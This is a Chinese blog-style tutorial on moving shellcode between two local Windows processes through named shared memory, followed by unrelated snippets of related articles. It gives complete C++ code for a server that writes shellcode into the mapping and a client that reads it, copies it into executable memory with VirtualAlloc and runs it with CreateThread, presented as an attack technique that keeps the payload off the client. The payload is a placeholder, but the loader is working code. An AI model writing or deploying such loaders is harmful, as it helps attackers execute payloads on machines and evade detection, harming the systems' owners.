C++ 共享内存ShellCode跨进程传输
在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传,那我只能说在某些时候我们可能会将ShellCode打散,而作为客户端也不需要时时刻刻在本地存放ShellCode代码,这能保证客户端的安全性。
服务端部分
CreateFileMapping
用于创建一个文件映射对象,将文件或者其他内核对象映射到进程的地址空间。这个函数通常用于共享内存的创建。
下面是 CreateFileMapping 函数的基本语法:
HANDLE CreateFileMapping(HANDLE hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD flProtect,DWORD dwMaximumSizeHigh,DWORD dwMaximumSizeLow,LPCTSTR lpName
);
参数说明:
hFile: 文件句柄,可以是一个磁盘文件或者其他内核对象的句柄。如果是INVALID_HANDLE_VALUE,则表示创建一个只在内存中的映射,而不与文件关联。lpFileMappingAttributes: 安全属性,一般为NULL,表示使用默认的安全设置。flProtect: 内存保护选项,指定内存页的保护属性,例如读、写、执行等。常见的值有PAGE_READONLY、PAGE_READWRITE、PAGE_EXECUTE_READ等。dwMaximumSizeHigh和dwMaximumSizeLow: 指定文件映射对象的最大大小。如果映射的是一个文件,可以通过这两个参数指定文件映射的大小。lpName: 文件映射对象的名字,如果是通过共享内存进行跨进程通信,可以通过这个名字在不同的进程中打开同一个文件映射对象。
成功调用 CreateFileMapping 会返回一个文件映射对象的句柄,失败则返回 NULL。通常创建成功后,可以通过 MapViewOfFile 函数将文件映射对象映射到当前进程的地址空间中,进行读写操作。
MapViewOfFile
用于将一个文件映射对象映射到调用进程的地址空间中,使得进程可以直接操作映射区域的内容。
以下是 MapViewOfFile 函数的基本语法:
LPVOID MapViewOfFile(HANDLE hFileMappingObject,DWORD dwDesiredAccess,DWORD dwFileOffsetHigh,DWORD dwFileOffsetLow,SIZE_T dwNumberOfBytesToMap
);
参数说明:
hFileMappingObject: 文件映射对象的句柄,这个句柄通常是通过CreateFileMapping函数创建得到的。dwDesiredAccess: 映射区域的访问权限,常见的值有FILE_MAP_READ、FILE_MAP_WRITE、FILE_MAP_EXECUTE。dwFileOffsetHigh和dwFileOffsetLow: 文件映射的起始位置。在这里,通常指定为0,表示从文件的开头开始映射。dwNumberOfBytesToMap: 指定映射的字节数,通常可以设置为 0 表示映射整个文件。
成功调用 MapViewOfFile 会返回映射视图的起始地址,失败则返回 NULL。映射成功后,可以直接通过返回的地址进行读写操作。当不再需要映射时,应该通过 UnmapViewOfFile 函数解除映射。
CreateMutex
用于创建一个互斥体对象。互斥体(Mutex)是一种同步对象,用于确保在多线程或多进程环境中对资源的互斥访问,防止多个线程或进程同时访问共享资源,以避免数据竞争和冲突。
以下是 CreateMutex 函数的基本语法:
HANDLE CreateMutex(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCTSTR lpName
);
参数说明:
lpMutexAttributes: 一个指向SECURITY_ATTRIBUTES结构的指针,决定了互斥体的安全性。通常可以设为NULL,表示使用默认的安全描述符。bInitialOwner: 一个布尔值,指定互斥体的初始状态。如果设置为TRUE,表示创建互斥体时已经拥有它,这通常用于创建一个已经锁定的互斥体。如果设置为FALSE,则表示创建互斥体时未拥有它。lpName: 一个指向包含互斥体名称的空终止字符串的指针。如果为NULL,则创建一个匿名的互斥体;否则,创建一个具有指定名称的互斥体。通过指定相同的名称,可以在多个进程中共享互斥体。
成功调用 CreateMutex 会返回互斥体对象的句柄,失败则返回 NULL。在使用完互斥体后,应该通过 CloseHandle 函数关闭句柄以释放资源。
CreateEvent
用于创建一个事件对象。事件对象是一种同步对象,用于实现多线程或多进程之间的通信和同步。通过事件对象,可以使一个或多个线程等待某个事件的发生,从而协调它们的执行。
以下是 CreateEvent 函数的基本语法:
HANDLE CreateEvent(LPSECURITY_ATTRIBUTES lpEventAttributes,BOOL bManualReset,BOOL bInitialState,LPCTSTR lpName
);
参数说明:
lpEventAttributes: 一个指向SECURITY_ATTRIBUTES结构的指针,决定了事件对象的安全性。通常可以设为NULL,表示使用默认的安全描述符。bManualReset: 一个布尔值,指定事件对象的复位类型。如果设置为TRUE,则为手动复位;如果设置为FALSE,则为自动复位。手动复位的事件需要通过ResetEvent函数手动将其重置为非触发状态,而自动复位的事件会在一个等待线程被释放后自动复位为非触发状态。bInitialState: 一个布尔值,指定事件对象的初始状态。如果设置为TRUE,表示创建事件对象时已经处于触发状态;如果设置为FALSE,则表示创建事件对象时处于非触发状态。lpName: 一个指向包含事件对象名称的空终止字符串的指针。如果为NULL,则创建一个匿名的事件对象;否则,创建一个具有指定名称的事件对象。通过指定相同的名称,可以在多个进程中共享事件对象。
成功调用 CreateEvent 会返回事件对象的句柄,失败则返回 NULL。在使用完事件对象后,应该通过 CloseHandle 函数关闭句柄以释放资源。
WaitForSingleObject
用于等待一个或多个内核对象的状态变为 signaled。内核对象可以是事件、互斥体、信号量等等。
以下是 WaitForSingleObject 函数的基本语法:
DWORD WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds
);
参数说明:
hHandle: 要等待的内核对象的句柄。可以是事件、互斥体、信号量等。dwMilliseconds: 等待的时间,以毫秒为单位。如果设为INFINITE,表示无限等待,直到内核对象变为 signaled。
WaitForSingleObject 返回一个 DWORD 类型的值,表示等待的结果。可能的返回值包括:
WAIT_OBJECT_0:内核对象已经变为 signaled 状态。WAIT_TIMEOUT:等待时间已过,但内核对象仍然没有变为 signaled 状态。WAIT_FAILED:等待出错,可以通过调用GetLastError获取详细错误信息。
这个函数是同步函数,调用它的线程会阻塞,直到等待的对象变为 signaled 状态或者等待时间超时。
ReleaseMutex
用于释放之前由 WaitForSingleObject 或 WaitForMultipleObjects 等函数获取的互斥体对象的所有权。
以下是 ReleaseMutex 函数的基本语法:
BOOL ReleaseMutex(HANDLE hMutex
);
参数说明:
hMutex: 要释放的互斥体对象的句柄。
ReleaseMutex 返回一个 BOOL 类型的值,表示释放互斥体对象是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError 获取详细错误信息。
互斥体(Mutex)是一种同步对象,用于控制对共享资源的访问。在多线程或者多进程环境中,互斥体可以确保在同一时刻只有一个线程或者进程能够访问被保护的共享资源。当一个线程或者进程成功获取互斥体的所有权后,其他试图获取该互斥体所有权的线程或者进程将会被阻塞,直到拥有互斥体的线程或者进程调用 ReleaseMutex 释放互斥体所有权。
SetEvent
用于将指定的事件对象的状态设置为 signaled(有信号)。该函数通常与等待函数(如 WaitForSingleObject 或 WaitForMultipleObjects)一起使用,以实现线程之间或进程之间的同步。
以下是 SetEvent 函数的基本语法:
BOOL SetEvent(HANDLE hEvent
);
参数说明:
hEvent: 事件对象的句柄。
SetEvent 函数返回一个 BOOL 类型的值,表示设置事件对象状态是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError 获取详细错误信息。
事件对象是一种同步对象,用于在线程或者进程之间发信号。通过 SetEvent 可以将事件对象的状态设置为 signaled,表示某个条件已经满足,其他等待该事件对象的线程或者进程可以继续执行。
有了上述API函数的支持,那么实现这个服务端将变得很容易,如下所示则是服务端完整代码,通过创建一个共享内存池,并等待用户按下简单,当键盘被按下时则会自动填充缓冲区为特定内容。
#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;char ShellCode[] = "此处是ShellCode";using namespace std;int main(int argc,char *argv[])
{// 创建共享文件句柄HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");if (shareFileHandle == NULL){return 1;}//映射缓冲区视图,得到指向共享内存的指针LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);if (lpBuf == NULL){CloseHandle(shareFileHandle);return 1;}// 创建互斥器H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");// 操作共享内存while (true){getchar();// 使用互斥体加锁,获得互斥器的拥有权WaitForSingleObject(H_Mutex, INFINITE);memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);ReleaseMutex(H_Mutex); // 放锁SetEvent(H_Event); // 激活等待的进程}CloseHandle(H_Mutex);CloseHandle(H_Event);UnmapViewOfFile(lpBuf);CloseHandle(shareFileHandle);return 0;
}
客户端部分
OpenFileMapping
用于打开一个已存在的文件映射对象,以便将它映射到当前进程的地址空间。文件映射对象是一种用于在多个进程间共享内存数据的机制。
以下是 OpenFileMapping 函数的基本语法:
HANDLE OpenFileMapping(DWORD dwDesiredAccess,BOOL bInheritHandle,LPCTSTR lpName
);
参数说明:
dwDesiredAccess: 指定对文件映射对象的访问权限。可以使用标准的访问权限标志,如FILE_MAP_READ、FILE_MAP_WRITE等。bInheritHandle: 指定句柄是否可以被子进程继承。如果为TRUE,子进程将继承句柄;如果为FALSE,子进程不继承句柄。lpName: 指定文件映射对象的名称。此名称在系统内必须是唯一的。如果是NULL,函数将打开一个不带名称的文件映射对象。
OpenFileMapping 函数返回一个文件映射对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。
OpenEvent
用于打开一个已存在的命名事件对象。事件对象是一种同步对象,用于在多个进程间进行通信和同步。
以下是 OpenEvent 函数的基本语法:
HANDLE OpenEvent(DWORD dwDesiredAccess,BOOL bInheritHandle,LPCTSTR lpName
);
参数说明:
dwDesiredAccess: 指定对事件对象的访问权限。可以使用标准的访问权限标志,如EVENT_MODIFY_STATE、EVENT_QUERY_STATE等。bInheritHandle: 指定句柄是否可以被子进程继承。如果为TRUE,子进程将继承句柄;如果为FALSE,子进程不继承句柄。lpName: 指定事件对象的名称。此名称在系统内必须是唯一的。如果是NULL,函数将打开一个不带名称的事件对象。
OpenEvent 函数返回一个事件对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。
VirtualAlloc
用于在进程的虚拟地址空间中分配一段内存区域。这个函数通常用于动态分配内存,而且可以选择性地将其初始化为零。
以下是 VirtualAlloc 函数的基本语法:
LPVOID VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect
);
参数说明:
lpAddress: 指定欲分配内存的首地址。如果为NULL,系统将决定分配的地址。dwSize: 指定欲分配内存的大小,以字节为单位。flAllocationType: 指定分配类型。可以是以下常量之一:MEM_COMMIT:将内存提交为物理存储(RAM或磁盘交换文件)中的一页或多页。MEM_RESERVE:为欲保留的内存保留地址空间而不分配任何物理存储。MEM_RESET:将内存区域的内容初始化为零。必须与MEM_COMMIT一起使用。
flProtect: 指定内存的访问保护。可以是以下常量之一:PAGE_EXECUTE_READ: 允许读取并执行访问。PAGE_READWRITE: 允许读写访问。
VirtualAlloc 函数返回一个指向分配的内存区域的指针。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。
CreateThread
用于创建一个新的线程。线程是执行程序代码的单一路径,一个进程可以包含多个线程,这些线程可以并发执行。
以下是 CreateThread 函数的基本语法:
HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId
);
参数说明:
lpThreadAttributes: 用于设置线程的安全属性,通常设置为NULL。dwStackSize: 指定线程堆栈的大小,可以设置为 0 使用默认堆栈大小。lpStartAddress: 指定线程函数的地址,新线程将从此地址开始执行。lpParameter: 传递给线程函数的参数。dwCreationFlags: 指定线程的创建标志,通常设置为 0。lpThreadId: 接收新线程的标识符。如果为NULL,则不接收线程标识符。
CreateThread 函数返回一个新线程的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。
客户端同样创建内存映射,使用服务端创建的内存池,并在里面取出ShellCode执行后反弹,完整代码如下所示;
#include <iostream>
#include <Windows.h>
#include <winbase.h>using namespace std;HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;int main(int argc, char* argv[])
{// 打开共享文件句柄HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");if (sharedFileHandle == NULL){return 1;}// 映射缓存区视图,得到指向共享内存的指针LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);if (lpBuf == NULL){CloseHandle(sharedFileHandle);return 1;}H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");if (H_Event == NULL){return 1;}char buffer[4096] = {0};while (1){HANDLE hThread;// 互斥体接收数据并加锁WaitForSingleObject(H_Event, INFINITE);WaitForSingleObject(H_Mutex, INFINITE); // 使用互斥体加锁memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1); // 接收数据到内存ReleaseMutex(H_Mutex); // 放锁cout << "接收到的ShellCode: " << buffer << endl;// 注入ShellCode并执行void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);CopyMemory(ShellCode, buffer, sizeof(buffer));hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);WaitForSingleObject(hThread, INFINITE);}CloseHandle(H_Event);CloseHandle(H_Mutex);UnmapViewOfFile(lpBuf);CloseHandle(sharedFileHandle);return 0;
}
潜在风险和安全建议
虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:
- 防御共享内存滥用: 操作系统提供了一些机制,如使用 ACL(访问控制列表)和安全描述符,可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。
- 加强系统安全策略: 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。
- 监控和响应: 部署实时监控和响应系统,能够及时检测到异常行为并采取相应措施,对于减缓潜在威胁的影响十分重要。
总结
本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。
相关文章:
C++ 共享内存ShellCode跨进程传输
在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode&am…...
如何快速移植(从STM32F103到STM32F407)
最近用到F4的地方比较多,网上代码还是F1多一些,便需要移植代码,如何快速移植代码呢? 看下面这篇文章 外设 首先就是STM32的外设了。 STM32F407ZGT6的基本外设 STM32F407ZGT6 作为 MCU,该芯片是 STM32F407 里面配置…...
python高级练习题库实验1(B)部分
文章目录 题目1代码实验结果题目2代码实验结果题目3代码实验结果题目4代码实验结果题目5代码实验结果题目总结题目1 打包糖果小游戏,用户输入糖果品牌与个数,还有一个盒子里面可以装多少个糖果,输出一些打印信息,如下图所示: 代码 print("Packaging lollies into…...
Qt Rsa 加解密方法使用(pkcs1, pkcs8, 以及文件存储和内存存储密钥)
Qt RSA 加解密 完整使用 密钥格式: pkcs#1pkcs#8 如何区分密钥对是PKCS1还是PKCS8? 通常PKCS1密钥对的开始部分为:-----BEGIN RSA PRIVATE KEY-----或 -----BEGIN RSA PUBLIC KEY-----。而PKCS8密钥对的开始部分为:-----BEGIN…...
区分物理端口与软件端口概念:以交换机端口和Linux系统中的端口为例
文章目录 交换机端口和Linux系统中的端口有什么区别?1. 交换机的端口2. Linux系统中的端口因此,尽管两者都被称为"端口",但它们代表的含义和用途是完全不同的。 交换机端口和Linux系统中的端口有什么区别? 虽然都被称为…...
力扣226:翻转二叉树
力扣226:翻转二叉树 给你一棵二叉树的根节点 root ,翻转这棵二叉树,并返回其根节点。 示例 1: 输入:root [4,2,7,1,3,6,9] 输出:[4,7,2,9,6,3,1] 示例 2: 输入:root [2,1,3]…...
亚马逊鲲鹏系统智能自动注册与AI角色养号,探索数字化新境界
在数字化时代,亚马逊鲲鹏系统以其强大的自动化功能,为用户提供了前所未有的购物体验。如果你想利用鲲鹏系统进行自动化注册,那么准备好邮箱、IP、手机号等关键信息后,你将轻松实现自动注册,为购物之旅开启智能化新篇章…...
AOP操作日志记录
AOP操作日志记录 1.创建注解 Retention(RetentionPolicy.RUNTIME) Target(ElementType.METHOD) public interface PassportLog {String operatePage();String operateType();ClassTypEnum classType();}2.创建切面 对于字典,可以通过注解属性去转换,枚举…...
Linux C语言 42-进程间通信IPC之网络通信(套接字)
Linux C语言 42-进程间通信IPC之网络通信(套接字) 本节关键字:C语言 进程间通信 网络通信 套接字 TCP UDP 相关库函数:socket、bind、listen、accept、send、recv、sendto、recvfrom 参考之前的文章 Linux C语言 30-套接字操作…...
微服务知识大杂烩
1.什么是微服务? 微服务(Microservices)是一种软件架构风格,将一个大型应用程序划分为一组小型、自治且松耦合的服务。每个微服务负责执行特定的业务功能,并通过轻量级通信机制(如HTTP)相互协作。每个微服务可以独立开发、部署和扩展,使得应用程序更加灵活、可伸缩和可…...
记录一次vscode markdown的图片路径相关插件学习配置过程
插件及说明查找过程 csdn搜索markdown图片路径,找到关于这一款插件的回答。打开vscode拓展搜索Paste Image这款插件,看到下载量挺高的,应该不赖。 点击仓库,进入该插件开源的github仓库,查看README文件阅读说明. 淡然在Vscode 插件项目下的细…...
设计原则 | 依赖转置原则
一、依赖转置原则(DIP:Dependence Inversion Principle) 1、原理 高层模块不应该依赖低层模块,二者都应该依赖于抽象抽象不应该依赖于细节,细节应该依赖于抽象 2、层次化 Booch曾经说过:所有结构良好的面…...
前端开发实用技巧与经验分享
导语:在前端开发领域,掌握一些实用的技巧和经验可以帮助你更高效地完成任务。本文将分享一些前端开发的实用技巧和经验,帮助你在工作中更好地应对各种挑战。 一、使用开发者工具进行调试和优化 熟练掌握浏览器开发者工具的使用,…...
推荐一款Excel快速加载SQL的插件,方便又好用
如果告诉你只需要双击一下,SQL数据库中存放在表里面的数据,就能加载到你的Excel中,你想不想要? 今天给大家推荐一款好用的Excel插件,安装简单,使用方便,是经常使用SQL数据库的不二。 这款插件…...
Docker快速入门(docker加速,镜像,容器,数据卷常见命令操作整理)
Docker本质是将代码所需的环境依赖进行打包运行,而在Docker中最重要的是镜像和容器 镜像:可以简单地理解为每启动一个docker镜像就会占用计算机一个进程,这个进程和另外起的docker镜像的进程是相互独立的,以数据库为例,每个镜像都会copy一份数据库,在他所在的进程中.别的镜像在…...
http和https的区别有哪些
目录 HTTP(HyperText Transfer Protocol) HTTPS(HyperText Transfer Protocol Secure) 区别与优势 应用场景 未来趋势 当我们浏览互联网时,我们经常听到两个常用的协议:HTTP(HyperText Tra…...
使用Keil-MDK生成*.bin格式可执行文件
使用Keil-MDK生成*.bin格式可执行文件 文章目录 使用Keil-MDK生成*.bin格式可执行文件前言一、fromelf.exe工具二、使用方法1.配置输出2.输出格式 前言 在使用Keil MDK的集成开发环境中,默认情况下可以生成*.axf格式的调试文件和*.hex格式的可执行文件。虽然文件可…...
基于springboot+vue篮球联盟管理系统源码
🍅 简介:500精品计算机源码学习 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 文末获取源码 目录 一、以下学习内容欢迎交流: 二、文档资料截图: 三、项目技术栈 四、项目运行图 背景: 篮球运…...
分页助手入门以及小bug,报sql语法错误
导入坐标 5版本以上的分页助手 可以不用手动指定数据库语言,它会自动识别 <dependency> <groupId>com.github.pagehelper</groupId> <artifactId>pagehelper</artifactId> <version>5.3.2</version> </dependency&g…...
Java中的并发编程:深入理解CountDownLatch
Java中的并发编程:深入理解CountDownLatch 本文将深入探讨Java中的并发编程,重点关注CountDownLatch的使用。通过理解这些概念和技术,我们可以编写出更高效、稳定的Java程序。 一、CountDownLatch简介 CountDownLatch是Java中的一个同步工具…...
Java 语言特性(面试系列1)
一、面向对象编程 1. 封装(Encapsulation) 定义:将数据(属性)和操作数据的方法绑定在一起,通过访问控制符(private、protected、public)隐藏内部实现细节。示例: public …...
css实现圆环展示百分比,根据值动态展示所占比例
代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...
JavaScript 中的 ES|QL:利用 Apache Arrow 工具
作者:来自 Elastic Jeffrey Rengifo 学习如何将 ES|QL 与 JavaScript 的 Apache Arrow 客户端工具一起使用。 想获得 Elastic 认证吗?了解下一期 Elasticsearch Engineer 培训的时间吧! Elasticsearch 拥有众多新功能,助你为自己…...
大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...
django filter 统计数量 按属性去重
在Django中,如果你想要根据某个属性对查询集进行去重并统计数量,你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求: 方法1:使用annotate()和Count 假设你有一个模型Item,并且你想…...
2023赣州旅游投资集团
单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
站群服务器的应用场景都有哪些?
站群服务器主要是为了多个网站的托管和管理所设计的,可以通过集中管理和高效资源的分配,来支持多个独立的网站同时运行,让每一个网站都可以分配到独立的IP地址,避免出现IP关联的风险,用户还可以通过控制面板进行管理功…...
